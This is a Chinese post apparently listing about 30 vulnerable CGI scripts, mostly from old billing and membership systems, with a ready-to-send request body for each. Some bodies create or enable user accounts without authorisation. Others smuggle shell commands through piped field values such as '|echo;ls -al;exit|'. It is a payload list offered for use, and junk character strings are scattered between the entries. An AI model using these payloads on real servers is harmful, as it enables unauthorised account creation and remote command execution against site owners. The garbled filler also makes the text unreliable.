Cgi-bin 30个漏洞＋使用方法

admin

==============================
) r! M8 x/ [* I# R% ?+ z
/smspass.pl
2 W# ]+ Z  B. p% x2 \, z7 r' }username=username&password=password

. D& k$ ^9 A- \" T- c/index.cgi
wei=ren&gen=command
- `$ ?  _  |! ]7 i0 n" \! O
" C8 K  g, C' L0 r. P. Y' C9 ]/passmaster.cgi
- P/ i8 r' `$ Q$ G& d6 l, mAction=Add&Username=Username&Password=Password

/accountcreate.cgi
, n/ C' R$ W5 L7 N- m; f4 jusername=username&password=password&ref1=|echo;ls|
+ {8 N# _7 H% |2 s1 N
% S; c) n5 I$ e9 v! g$ [$ v8 b4 N% R/form.cgi
3 i, d. P% Y% V# xname=xxxx&email=email&subject=xxxx&response=|echo;ls|

; ~2 v2 F2 V& p; c8 y/ |) G/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

) p5 m' T6 P  [$ g/ccbill-local.asp
1 M5 G/ }/ [, a- k4 G* Qpost_values=username:password
. U" }' u8 R; ]) W* X; U/ F
5 i- [6 j% q9 j' L# L/count.cgi
pinfile=|echo;ls -la;exit|
/ K& a& r$ }3 d" M0 ]% D7 x
/recon.cgi
1 [; H' T! F1 B* m/recon.cgi?search
) e- f! r6 h- A: j4 _: E! q1 n8 isearchoption=1&searchfor=|echo;ls -al;exit|

* `! \/ [; G! o/ T+ g) E/verotelrum.pl
, O5 ^# Y. E, X2 @vercode=username:password:dseegsow:add:amount<&30>
5 ?, r8 p) n1 z
/af.cgi
2 j2 F$ @7 U2 j: c  `0 A_browser_out=|echo;ls -la;exit;|
' {9 B# Y0 o% c
/modify.cgi
1 e( a2 f2 J+ ?* V+ ousername=username&password=password&expire=30

) x6 z) `5 z1 d$ ~, [/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
& [) |( V! e# g
: f. G9 a+ y- c5 o- C. j/gx9passwd.cgi
: |/ J9 ~  v# x% \( U1 k9 I( E6 _cmd=ADD&user=username&pass=password

  c5 H8 H* `% u; C/probecontrol.cgi
command=enable&username=username&password=password

1 w: f! n' H' u( N- ^/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

+ l* b# D3 F; S8 N7 n/htadd.pl
configfile=|echo; ls -alt; exit
' A" f* n5 s6 Z- h; l% M& K# c
! M& b8 s' [3 y- A! `! m7 H/gx9passwd.cgi
cmd=ADD&user=username&pass=password

# H, H- N" U4 e& u/ibill*.pl
: }- Z" T- h  W5 O3 E6 rreqtype=add&authpwd=authpwd&username=username&password=password

  i0 l) v: J( C5 `- [4 ?6 U7 y, L$ ?+ I/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

' K3 e6 f- o) H& F" h# S; a/globill_ut.cgi
4 `6 j6 }' S, |: i; K9 }/ vdo=add&username=username&password=password&wpassword=password

0 N% W& \7 |7 G4 b5 m/usercontrol.cgi
0 S' \* n: }% L8 P5 tcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
1 Z" d! B( a  `7 U6 ^8 o  haction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

" V5 v. ?* y% E  i/pincount.cgi
0 ]! `( R' a5 t9 w  t' N& t) o" r/cgi-bin/mastergate/pincount.cgi
  B/ c5 l+ z6 P$ p. @( k9 K' }pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
8 ~* P- d$ c% ]8 R& gusername=username&password=password&password2=password&ref1=|echo;ls -al;exit
, A) O5 c. o* ~% x' ~8 P! X# |" _
/af.cgi
5 @6 s% V4 U( g! j# O/env.cgi
ADD+;echo;pwd;exit

/count.cgi
) h" X: \+ p! V- rpinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
5 i6 ~& g9 b4 f  G- @) i0 busername=username&password=password&expire=30
# }6 Q8 [! r7 d  C4 Z
  Q* i- C6 h' [1 Y' g( D1 m==============================
7 i8 O, x* q+ Z8 g' |3 q% n! Y